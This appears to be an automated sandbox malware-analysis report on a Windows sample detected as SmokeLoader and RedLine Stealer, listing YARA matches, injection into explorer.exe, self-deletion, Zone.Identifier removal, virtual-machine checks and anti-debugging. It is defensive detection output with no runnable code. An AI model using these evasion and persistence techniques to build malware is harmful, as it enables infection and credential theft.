Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.2004791838.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.2004938818.0000000000610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1768955297.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00403054 RtlCreateUserThread,NtTerminateProcess,	0_2_00403054
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401583
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00402721 NtEnumerateKey,NtClose,	0_2_00402721
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_0040158E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040158E
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015BC
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00403054 RtlCreateUserThread,NtTerminateProcess,	5_2_00403054
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401583
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00402721 NtEnumerateKey,NtClose,	5_2_00402721
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_0040158E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_0040158E
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004015BC

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00401A28	0_2_00401A28
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00401A28	5_2_00401A28
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_0040D8CA	7_2_0040D8CA
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_00410CF7	7_2_00410CF7
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_004084F9	7_2_004084F9
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_004121FD	7_2_004121FD
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_0041026F	7_2_0041026F
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_004113EF	7_2_004113EF
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_004107B3	7_2_004107B3

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Code function: String function: 00407890 appears 34 times

Source: 2Qvkmk7HGr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.2004791838.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.2004938818.0000000000610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1768955297.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: 2Qvkmk7HGr.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: tcgiwaf.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/2@72/1

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Code function: 7_2_00403690 SetLastError,SetLastError,DefineDosDeviceA,_realloc,OpenJobObjectW,InterlockedExchangeAdd,_strlen,_abort,VirtualAlloc,GetTickCount,GetTickCount,GetDiskFreeSpaceExA,ReadConsoleInputA,InterlockedExchange,GetDiskFreeSpaceExA,LoadLibraryA,ReadConsoleInputA,LCMapStringA,OpenEventA,LCMapStringA,InterlockedExchange,OpenEventA,GetCurrentProcess,GetAltTabInfoW,GetCurrentProcess,GetAltTabInfoW,GetLastError,GetLastError,GetFileAttributesW,GetShortPathNameA,GlobalFree,GetFileAttributesW,GetShortPathNameA,GlobalFree,GetEnvironmentStrings,SetComputerNameW,InterlockedExchange,LoadLibraryA,

7_2_00403690

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe

Code function: 0_2_00531C87 CreateToolhelp32Snapshot,Module32First,

0_2_00531C87

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\tcgiwaf

Jump to behavior

Source: C:\Users\user\AppData\Roaming\tcgiwaf	Command line argument: LiEz	7_2_00403A10
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Command line argument: ZV7	7_2_00403A10
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Command line argument: b6	7_2_00403A10
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Command line argument: y9=	7_2_00403A10
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Command line argument: 5Myi	7_2_00403A10
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Command line argument: Kn	7_2_00403A10

Source: 2Qvkmk7HGr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2Qvkmk7HGr.exe	ReversingLabs: Detection: 39%
Source: 2Qvkmk7HGr.exe	Virustotal: Detection: 41%

Source: unknown	Process created: C:\Users\user\Desktop\2Qvkmk7HGr.exe "C:\Users\user\Desktop\2Qvkmk7HGr.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tcgiwaf C:\Users\user\AppData\Roaming\tcgiwaf
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tcgiwaf C:\Users\user\AppData\Roaming\tcgiwaf

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Unpacked PE file: 0.2.2Qvkmk7HGr.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Unpacked PE file: 5.2.tcgiwaf.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Code function: 7_2_0040AE2E LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

7_2_0040AE2E

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_0040294B push ebx; ret	0_2_00402957
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00402923 push ebx; ret	0_2_00402926
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00402930 push ebx; ret	0_2_00402942
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_0053920D push edi; iretd	0_2_00539228
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_005333C3 push es; ret	0_2_005333C4
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_005394E1 push edx; iretd	0_2_005395E2
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_005395B5 push edx; iretd	0_2_005395E2
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00552997 push ebx; ret	0_2_005529A9
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_0055298A push ebx; ret	0_2_0055298D
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_005529B2 push ebx; ret	0_2_005529BE
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_0040294B push ebx; ret	5_2_00402957
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00402923 push ebx; ret	5_2_00402926
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00402930 push ebx; ret	5_2_00402942
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00562997 push ebx; ret	5_2_005629A9
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_0056298A push ebx; ret	5_2_0056298D
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_005629B2 push ebx; ret	5_2_005629BE
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_0062920D push edi; iretd	5_2_00629228
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_006294E1 push edx; iretd	5_2_006295E2
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_006233C3 push es; ret	5_2_006233C4
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_006295B5 push edx; iretd	5_2_006295E2
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_004078D5 push ecx; ret	7_2_004078E8
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_00405483 push ecx; ret	7_2_00405496

Source: 2Qvkmk7HGr.exe	Static PE information: section name: .text entropy: 7.0024890042663355
Source: tcgiwaf.1.dr	Static PE information: section name: .text entropy: 7.0024890042663355

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\tcgiwaf

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\tcgiwaf

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\2qvkmk7hgr.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\tcgiwaf:Zone.Identifier read attributes | delete

Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\tcgiwaf	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\tcgiwaf	API/Special instruction interceptor: Address: 7FFE2220D584

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 450	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2613	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1030	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 363	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 372	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1947	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 883	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 875	Jump to behavior

Source: C:\Windows\explorer.exe TID: 4136	Thread sleep count: 450 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 648	Thread sleep count: 2613 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 648	Thread sleep time: -261300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2588	Thread sleep count: 1030 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2588	Thread sleep time: -103000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4924	Thread sleep count: 363 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4924	Thread sleep time: -36300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5756	Thread sleep count: 335 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8	Thread sleep count: 372 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8	Thread sleep time: -37200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 648	Thread sleep count: 1947 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 648	Thread sleep time: -194700s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\tcgiwaf

7_2_004032A0

Source: explorer.exe, 00000001.00000000.1753254303.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1752481052.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1752481052.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1753254303.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000001.00000000.1748053995.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}%
Source: explorer.exe, 00000001.00000000.1753254303.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1752481052.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000001.00000000.1752481052.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1752481052.000000000982D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.1753254303.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000001.00000000.1749862002.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000001.00000000.1752481052.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1748053995.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1748053995.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	System information queried: CodeIntegrityInformation			Jump to behavior
